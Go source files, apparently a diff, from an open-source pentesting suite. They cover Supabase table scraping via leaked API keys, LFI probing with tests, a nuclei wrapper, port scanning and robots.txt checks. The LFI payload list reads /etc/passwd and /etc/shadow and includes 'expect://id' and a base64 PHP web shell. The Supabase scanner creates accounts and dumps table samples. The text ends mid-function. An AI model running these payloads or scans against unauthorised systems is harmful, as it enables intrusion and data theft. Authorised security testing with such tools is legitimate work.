func ScanSupabase(jsContent string, jsUrl string) ([]supabaseScanResult, error) {
supabaselog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "🚧 JavaScript > Supabase ⚡️",
}).With("url", jsUrl)
var results = []supabaseScanResult{}
jwtGroups := jwtRegex.FindAllStringSubmatch(jsContent, -1)
var jwts = []string{}
for _, jwtGroup := range jwtGroups {
jwts = append(jwts, jwtGroup[1])
}
slices.Sort(jwts)
jwts = slices.Compact(jwts)
for _, jwt := range jwts {
parts := strings.Split(jwt, ".")
body := parts[1]
decoded, err := base64.RawStdEncoding.DecodeString(body)
if err != nil {
supabaselog.Debugf("Failed to decode JWT %s: %s", body, err)
continue
}
supabaselog.Debugf("JWT body: %s", decoded)
var supabaseJwt *supabaseJwtBody
err = json.Unmarshal([]byte(decoded), &supabaseJwt)
if err != nil {
supabaselog.Debugf("Failed to json parse JWT %s: %s", jwt, err)
continue
}
if supabaseJwt.ProjectId == nil || supabaseJwt.Role == nil {
continue
}
supabaselog.Infof("Found valid supabase project %s with role %s", *supabaseJwt.ProjectId, *supabaseJwt.Role)
client := http.Client{}
req, err := http.NewRequest("POST", "https://"+*supabaseJwt.ProjectId+".supabase.co/auth/v1/signup", bytes.NewBufferString(`{"email":"automated`+strconv.Itoa(int(time.Now().Unix()))+`@sif.sh","password":"automatedacct"}`))
if err != nil {
supabaselog.Errorf("Error while creating HTTP req for creating user: %s", err)
continue
}
req.Header.Set("apikey", jwt)
resp, err := client.Do(req)
if err != nil {
supabaselog.Errorf("Error while sending request to create user: %s", err)
continue
}
var auth string
if resp.StatusCode == http.StatusOK {
body, err := io.ReadAll(io.LimitReader(resp.Body, 5*1024*1024))
if err != nil {
resp.Body.Close()
return nil, err
}
resp.Body.Close()
var authResp supabaseAuthResponse
if err := json.Unmarshal(body, &authResp); err != nil {
return nil, err
}
auth = authResp.AccessToken
supabaselog.Infof("Created account with JWT %s", auth)
} else {
resp.Body.Close()
}
var collections = []supabaseCollection{}
openAPI, err := getSupabaseOpenAPI(*supabaseJwt.ProjectId, jwt, &auth)
if err != nil {
return nil, err
}
if openAPI.Paths == nil {
return nil, errors.New("paths not found in supabase openapi")
}
for path := range openAPI.Paths {
if path == "/" {
continue
}
// todo: support for scanning rpc calls
if strings.HasPrefix(path, "/rpc/") {
continue
}
sampleResp, err := getSupabaseArrayResponse(*supabaseJwt.ProjectId, "/rest/v1"+path, jwt, &auth)
if err != nil {
continue
}
marshalled, err := json.Marshal(sampleResp.Array)
if err != nil {
supabaselog.Errorf("Failed to marshal sample data for %s: %s", path, err)
}
supabaselog.Infof("Got sample (1000 entries) for collection %s: %s", path, string(marshalled))
// limit to first 10 samples
sampleLimit := len(sampleResp.Array)
if sampleLimit > 10 {
sampleLimit = 10
}
collection := supabaseCollection{
Name: strings.TrimPrefix(path, "/"),
Sample: sampleResp.Array[:sampleLimit], // passed to local LLM for scope
Count: sampleResp.Count,
}
if collection.Count > 1 /* one entry may just be for the user */ {
collections = append(collections, collection)
}
}
result := supabaseScanResult{
ProjectId: *supabaseJwt.ProjectId,
ApiKey: jwt,
Role: *supabaseJwt.Role,
Collections: collections,
}
results = append(results, result)
}
// todo(eva): implement supabase scanning
return results, nil
}
+307
View File
@@ -0,0 +1,307 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"net/url"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
// LFIResult represents the results of LFI reconnaissance
type LFIResult struct {
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
TestedParams int `json:"tested_params"`
TestedPayloads int `json:"tested_payloads"`
}
// LFIVulnerability represents a detected LFI vulnerability
type LFIVulnerability struct {
URL string `json:"url"`
Parameter string `json:"parameter"`
Payload string `json:"payload"`
Evidence string `json:"evidence"`
Severity string `json:"severity"`
FileIncluded string `json:"file_included,omitempty"`
}
// LFI payloads for directory traversal
var lfiPayloads = []struct {
payload string
target string
severity string
}{
// Linux/Unix paths
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
{"/etc/passwd", "/etc/passwd", "high"},
{"/etc/passwd%00", "/etc/passwd", "high"},
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
// Windows paths
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
{"../../../../../../../boot.ini", "boot.ini", "high"},
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
// PHP wrappers
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
{"expect://id", "command execution", "critical"},
{"php://input", "php input", "high"},
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
}
// Evidence patterns for LFI detection
var lfiEvidencePatterns = []struct {
pattern *regexp.Regexp
description string
severity string
}{
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
}
// Common parameters to test
var commonLFIParams = []string{
"file", "page", "path", "include", "doc", "document",
"folder", "root", "pg", "style", "pdf", "template",
"php_path", "lang", "language", "view", "content",
"layout", "mod", "conf", "url", "dir", "show",
"name", "cat", "action", "read", "load", "open",
}
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
sanitizedURL := strings.Split(targetURL, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
lfilog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "LFI 📁",
}).With("url", targetURL)
lfilog.Infof("Starting LFI reconnaissance...")
result := &LFIResult{
Vulnerabilities: make([]LFIVulnerability, 0, 16),
}
seen := make(map[string]bool)
var mu sync.Mutex
var wg sync.WaitGroup
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if len(via) >= 3 {
return http.ErrUseLastResponse
}
return nil
},
}
// parse the target URL to check for existing parameters
parsedURL, err := url.Parse(targetURL)
if err != nil {
return nil, fmt.Errorf("failed to parse URL: %w", err)
}
existingParams := parsedURL.Query()
paramsToTest := make(map[string]bool)
// add existing parameters
for param := range existingParams {
paramsToTest[param] = true
}
// add common LFI parameters
for _, param := range commonLFIParams {
paramsToTest[param] = true
}
result.TestedParams = len(paramsToTest)
result.TestedPayloads = len(lfiPayloads)
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
// create work items
type workItem struct {
param string
payload struct {
payload string
target string
severity string
}
}
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
for param := range paramsToTest {
for _, payload := range lfiPayloads {
workItems = append(workItems, workItem{param: param, payload: payload})
}
}
// distribute work
workChan := make(chan workItem, len(workItems))
for _, item := range workItems {
workChan <- item
}
close(workChan)
wg.Add(threads)
for t := 0; t < threads; t++ {
go func() {
defer wg.Done()
for item := range workChan {
// build test URL
testParams := url.Values{}
for k, v := range existingParams {
if k != item.param {
testParams[k] = v
}
}
testParams.Set(item.param, item.payload.payload)
testURL := fmt.Sprintf("%s://%s%s?%s",
parsedURL.Scheme,
parsedURL.Host,
parsedURL.Path,
testParams.Encode())
resp, err := client.Get(testURL)
if err != nil {
log.Debugf("Error testing %s: %v", testURL, err)
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
resp.Body.Close()
if err != nil {
continue
}
bodyStr := string(body)
// check for evidence patterns
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(bodyStr) {
key := item.param + "|" + item.payload.payload
mu.Lock()
if seen[key] {
mu.Unlock()
break
}
seen[key] = true
vuln := LFIVulnerability{
URL: testURL,
Parameter: item.param,
Payload: item.payload.payload,
Evidence: evidence.description,
Severity: item.payload.severity,
FileIncluded: item.payload.target,
}
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
mu.Unlock()
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
styles.SeverityHigh.Render(evidence.description),
styles.Highlight.Render(item.param),
styles.Status.Render(item.payload.target))
if logdir != "" {
logger.Write(sanitizedURL, logdir,
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
evidence.description, item.param, item.payload.payload))
}
break
}
}
}
}()
}
wg.Wait()
// summary
if len(result.Vulnerabilities) > 0 {
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
criticalCount := 0
highCount := 0
for _, v := range result.Vulnerabilities {
if v.Severity == "critical" {
criticalCount++
} else if v.Severity == "high" {
highCount++
}
}
if criticalCount > 0 {
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
}
if highCount > 0 {
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
}
} else {
lfilog.Infof("No LFI vulnerabilities detected")
return nil, nil
}
return result, nil
}
// DetectLFIFromResponse checks a response body for LFI evidence
func DetectLFIFromResponse(body string) (bool, string) {
for _, evidence := range lfiEvidencePatterns {
if evidence.pattern.MatchString(body) {
return true, evidence.description
}
}
return false, ""
}
+316
View File
@@ -0,0 +1,316 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"net/http"
"net/http/httptest"
"testing"
)
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
expectDesc string
}{
{
name: "root entry",
body: "root:x:0:0:root:/root:/bin/bash",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "daemon entry",
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "nobody entry",
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
expectFound: true,
expectDesc: "/etc/passwd content",
},
{
name: "no evidence",
body: "<html><body>Hello World</body></html>",
expectFound: false,
expectDesc: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, desc := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
if desc != tt.expectDesc {
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
}
})
}
}
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "boot.ini boot loader",
body: "[boot loader]\ntimeout=30",
expectFound: true,
},
{
name: "boot.ini operating systems",
body: "[operating systems]\nmulti(0)",
expectFound: true,
},
{
name: "win.ini fonts section",
body: "; for 16-bit app support\n[fonts]",
expectFound: true,
},
{
name: "hosts file",
body: "127.0.0.1 localhost",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "DOCUMENT_ROOT",
body: "DOCUMENT_ROOT=/var/www/html",
expectFound: true,
},
{
name: "PATH variable",
body: "PATH=/usr/local/bin:/usr/bin:/bin",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
tests := []struct {
name string
body string
expectFound bool
}{
{
name: "PHP opening tag",
body: "<?php echo 'hello'; ?>",
expectFound: true,
},
{
name: "base64 encoded PHP",
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
expectFound: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
found, _ := DetectLFIFromResponse(tt.body)
if found != tt.expectFound {
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
}
})
}
}
func TestLFIResult_Fields(t *testing.T) {
result := LFIResult{
Vulnerabilities: []LFIVulnerability{
{
URL: "http://example.com/?file=../../../etc/passwd",
Parameter: "file",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
},
},
TestedParams: 10,
TestedPayloads: 25,
}
if len(result.Vulnerabilities) != 1 {
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
}
if result.Vulnerabilities[0].Parameter != "file" {
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
}
if result.Vulnerabilities[0].Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
}
if result.TestedParams != 10 {
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
}
}
func TestLFIVulnerability_Fields(t *testing.T) {
vuln := LFIVulnerability{
URL: "http://example.com/?page=../../../etc/passwd",
Parameter: "page",
Payload: "../../../etc/passwd",
Evidence: "/etc/passwd content",
Severity: "high",
FileIncluded: "/etc/passwd",
}
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
t.Errorf("unexpected URL: %s", vuln.URL)
}
if vuln.Parameter != "page" {
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
}
if vuln.Payload != "../../../etc/passwd" {
t.Errorf("unexpected payload: %s", vuln.Payload)
}
if vuln.Evidence != "/etc/passwd content" {
t.Errorf("unexpected evidence: %s", vuln.Evidence)
}
if vuln.Severity != "high" {
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
}
}
func TestLFIPayloads_Exist(t *testing.T) {
if len(lfiPayloads) == 0 {
t.Error("lfiPayloads should not be empty")
}
// check that all payloads have required fields
for i, payload := range lfiPayloads {
if payload.payload == "" {
t.Errorf("payload %d has empty payload", i)
}
if payload.target == "" {
t.Errorf("payload %d has empty target", i)
}
if payload.severity == "" {
t.Errorf("payload %d has empty severity", i)
}
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
}
}
}
func TestCommonLFIParams_Exist(t *testing.T) {
if len(commonLFIParams) == 0 {
t.Error("commonLFIParams should not be empty")
}
expectedParams := []string{"file", "page", "path", "include"}
for _, expected := range expectedParams {
found := false
for _, param := range commonLFIParams {
if param == expected {
found = true
break
}
}
if !found {
t.Errorf("expected common param '%s' not found", expected)
}
}
}
func TestLFIEvidencePatterns_Exist(t *testing.T) {
if len(lfiEvidencePatterns) == 0 {
t.Error("lfiEvidencePatterns should not be empty")
}
// verify patterns compile and match expected content
testCases := []struct {
content string
shouldMatch bool
description string
}{
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
{"[boot loader]", true, "boot.ini"},
{"[operating systems]", true, "boot.ini"},
{"127.0.0.1 localhost", true, "hosts file"},
{"<html>Hello</html>", false, "normal html"},
}
for _, tc := range testCases {
matched := false
for _, pattern := range lfiEvidencePatterns {
if pattern.pattern.MatchString(tc.content) {
matched = true
break
}
}
if matched != tc.shouldMatch {
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
}
}
}
func TestLFI_MockServer(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
file := r.URL.Query().Get("file")
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
} else {
w.WriteHeader(http.StatusOK)
w.Write([]byte("<html><body>Normal page</body></html>"))
}
}))
defer server.Close()
// verify server returns passwd content for LFI payload
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
if err != nil {
t.Fatalf("failed to make request: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Errorf("expected status 200, got %d", resp.StatusCode)
}
}
+132
View File
@@ -0,0 +1,132 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"context"
"fmt"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/nuclei/format"
"github.com/dropalldatabases/sif/internal/nuclei/templates"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/disk"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/loader"
"github.com/projectdiscovery/nuclei/v2/pkg/core"
"github.com/projectdiscovery/nuclei/v2/pkg/core/inputs"
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/parsers"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/contextargs"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/hosterrorscache"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolinit"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/protocolstate"
"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/projectdiscovery/ratelimit"
)
func Nuclei(url string, timeout time.Duration, threads int, logdir string) ([]output.ResultEvent, error) {
fmt.Println(styles.Separator.Render("⚛️ Starting " + styles.Status.Render("nuclei template scanning") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
nucleilog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "nuclei ⚛️",
}).With("url", url)
// Apply threads, timeout, log settings
options := types.DefaultOptions()
options.TemplateThreads = threads
options.Timeout = int(timeout.Seconds())
// Get templates
templates.Install(nucleilog)
pwd, err := os.Getwd()
if err != nil {
return nil, fmt.Errorf("failed to get working directory: %w", err)
}
config.DefaultConfig.SetTemplatesDir(pwd)
catalog := disk.NewCatalog(pwd)
results := []output.ResultEvent{}
// Custom output
outputWriter := testutils.NewMockOutputWriter()
outputWriter.WriteCallback = func(event *output.ResultEvent) {
if event.Matched != "" {
nucleilog.Infof("%s", format.FormatLine(event))
results = append(results, *event)
// TODO: metasploit
}
}
cache := hosterrorscache.New(30, hosterrorscache.DefaultMaxHostsCount, nil)
defer cache.Close()
progressClient := &testutils.MockProgressClient{}
reportingClient, err := reporting.New(&reporting.Options{}, "")
if err != nil {
return nil, fmt.Errorf("failed to create reporting client: %w", err)
}
defer reportingClient.Close()
interactOpts := interactsh.DefaultOptions(outputWriter, reportingClient, progressClient)
interactClient, err := interactsh.New(interactOpts)
if err != nil {
return nil, err
}
defer interactClient.Close()
protocolstate.Init(options)
protocolinit.Init(options)
executorOpts := protocols.ExecutorOptions{
Output: outputWriter,
Progress: progressClient,
Catalog: catalog,
Options: options,
IssuesClient: reportingClient,
RateLimiter: ratelimit.New(context.Background(), 150, time.Second),
Interactsh: interactClient,
ResumeCfg: types.NewResumeCfg(),
}
engine := core.New(options)
engine.SetExecuterOptions(executorOpts)
workflowLoader, err := parsers.NewLoader(&executorOpts)
if err != nil {
return nil, err
}
executorOpts.WorkflowLoader = workflowLoader
store, err := loader.New(loader.NewConfig(options, catalog, executorOpts))
if err != nil {
return nil, err
}
store.Load()
inputArgs := []*contextargs.MetaInput{{Input: sanitizedURL}}
input := &inputs.SimpleInputProvider{Inputs: inputArgs}
_ = engine.Execute(store.Templates(), input)
engine.WorkPool().Wait()
return results, nil
}
+106
View File
@@ -0,0 +1,106 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
import (
"bufio"
"fmt"
"net"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
const commonPorts = "https://raw.githubusercontent.com/dropalldatabases/sif-runtime/main/ports/top-ports.txt"
func Ports(scope string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
log.Printf("%s", styles.Separator.Render("🚪 Starting "+styles.Status.Render("port scanning")+"..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, scope+" port scanning"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
portlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Ports 🚪",
})
portlog.Infof("Starting %s port scanning", scope)
var ports []int
switch scope {
case "common":
resp, err := http.Get(commonPorts)
if err != nil {
log.Errorf("Error downloading ports list: %s", err)
return nil, err
}
defer resp.Body.Close()
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
if port, err := strconv.Atoi(scanner.Text()); err == nil {
ports = append(ports, port)
}
}
case "full":
ports = make([]int, 65536)
for i := range ports {
ports[i] = i
}
}
var openPorts []string
var wg sync.WaitGroup
wg.Add(threads)
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, port := range ports {
if i%threads != thread {
continue
}
log.Debugf("Looking up: %d", port)
tcp, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", sanitizedURL, port), timeout)
if err != nil {
log.Debugf("Error %d: %v", port, err)
} else {
openPorts = append(openPorts, strconv.Itoa(port))
portlog.Infof("%s %s:%s", styles.Status.Render("[tcp]"), sanitizedURL, styles.Highlight.Render(strconv.Itoa(port)))
tcp.Close()
}
}
}(thread)
}
wg.Wait()
if len(openPorts) > 0 {
portlog.Infof("Found %d open ports: %s", len(openPorts), strings.Join(openPorts, ", "))
} else {
portlog.Error("Found no open ports")
}
return openPorts, nil
}
+58
View File
@@ -0,0 +1,58 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
package scan
// Named slice types for scan results.
// These provide better type safety and allow method implementations.
type (
HeaderResults []HeaderResult
DirectoryResults []DirectoryResult
CloudStorageResults []CloudStorageResult
DorkResults []DorkResult
SubdomainTakeoverResults []SubdomainTakeoverResult
)
// ScanResult is the interface that all scan result types implement.
// This enables type-safe handling of heterogeneous scan results.
type ScanResult interface {
// ResultType returns the unique identifier for this result type.
ResultType() string
}
// ResultType implementations for pointer result types.
func (r *ShodanResult) ResultType() string { return "shodan" }
func (r *SQLResult) ResultType() string { return "sql" }
func (r *LFIResult) ResultType() string { return "lfi" }
func (r *CMSResult) ResultType() string { return "cms" }
// ResultType implementations for slice result types.
func (r HeaderResults) ResultType() string { return "headers" }
func (r DirectoryResults) ResultType() string { return "dirlist" }
func (r CloudStorageResults) ResultType() string { return "cloudstorage" }
func (r DorkResults) ResultType() string { return "dork" }
func (r SubdomainTakeoverResults) ResultType() string { return "subdomain_takeover" }
// Compile-time interface satisfaction checks.
var (
_ ScanResult = (*ShodanResult)(nil)
_ ScanResult = (*SQLResult)(nil)
_ ScanResult = (*LFIResult)(nil)
_ ScanResult = (*CMSResult)(nil)
_ ScanResult = HeaderResults(nil)
_ ScanResult = DirectoryResults(nil)
_ ScanResult = CloudStorageResults(nil)
_ ScanResult = DorkResults(nil)
_ ScanResult = SubdomainTakeoverResults(nil)
)
+138
View File
@@ -0,0 +1,138 @@
/*
··
: :
: · Blazing-fast pentesting suite :
: · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc, xyzeva, :
: lunchcat alumni & contributors :
: :
··
*/
// The scan package provides a collection of security scanning functions.
//
// Each scanning function typically returns a slice of custom result structures and an error.
// The package utilizes concurrent operations to improve scanning performance and provides
// options for logging and timeout management.
package scan
import (
"bufio"
"fmt"
"net/http"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/logger"
"github.com/dropalldatabases/sif/internal/styles"
)
func fetchRobotsTXT(url string, client *http.Client) *http.Response {
resp, err := client.Get(url)
if err != nil {
log.Debugf("Error fetching robots.txt: %s", err)
return nil
}
if resp.StatusCode == http.StatusMovedPermanently {
redirectURL := resp.Header.Get("Location")
if redirectURL == "" {
log.Debugf("Redirect location is empty for %s", url)
return nil
}
resp.Body.Close()
return fetchRobotsTXT(redirectURL, client)
}
return resp
}
// Scan performs a basic URL scan, including checks for robots.txt and other common endpoints.
// It logs the results and doesn't return any values.
//
// Parameters:
// - url: the target URL to scan
// - timeout: maximum duration for the scan
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
func Scan(url string, timeout time.Duration, threads int, logdir string) {
fmt.Println(styles.Separator.Render("🐾 Starting " + styles.Status.Render("base url scanning") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "URL scanning"); err != nil {
log.Errorf("Error creating log file: %v", err)
return
}
}
scanlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Scan 👁️‍🗨️",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
resp := fetchRobotsTXT(url+"/robots.txt", client)
if resp == nil {
return
}
defer resp.Body.Close()
if resp.StatusCode != 404 && resp.StatusCode != 301 && resp.StatusCode != 302 && resp.StatusCode != 307 {
scanlog.Infof("file [%s] found", styles.Status.Render("robots.txt"))
var robotsData []string
scanner := bufio.NewScanner(resp.Body)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
robotsData = append(robotsData, scanner.Text())
}
var wg sync.WaitGroup
wg.Add(threads)
for thread := 0; thread < threads; thread++ {
go func(thread int) {
defer wg.Done()
for i, robot := range robotsData {
if i%threads != thread {
continue
}
if robot == "" || strings.HasPrefix(robot, "#") || strings.HasPrefix(robot, "User-agent: ") || strings.HasPrefix(robot, "Sitemap: ") {
continue
}
_, sanitizedRobot, _ := strings.Cut(robot, ": ")
scanlog.Debugf("%s", robot)
resp, err := client.Get(url + "/" + sanitizedRobot)
if err != nil {
scanlog.Debugf("Error %s: %s", sanitizedRobot, err)
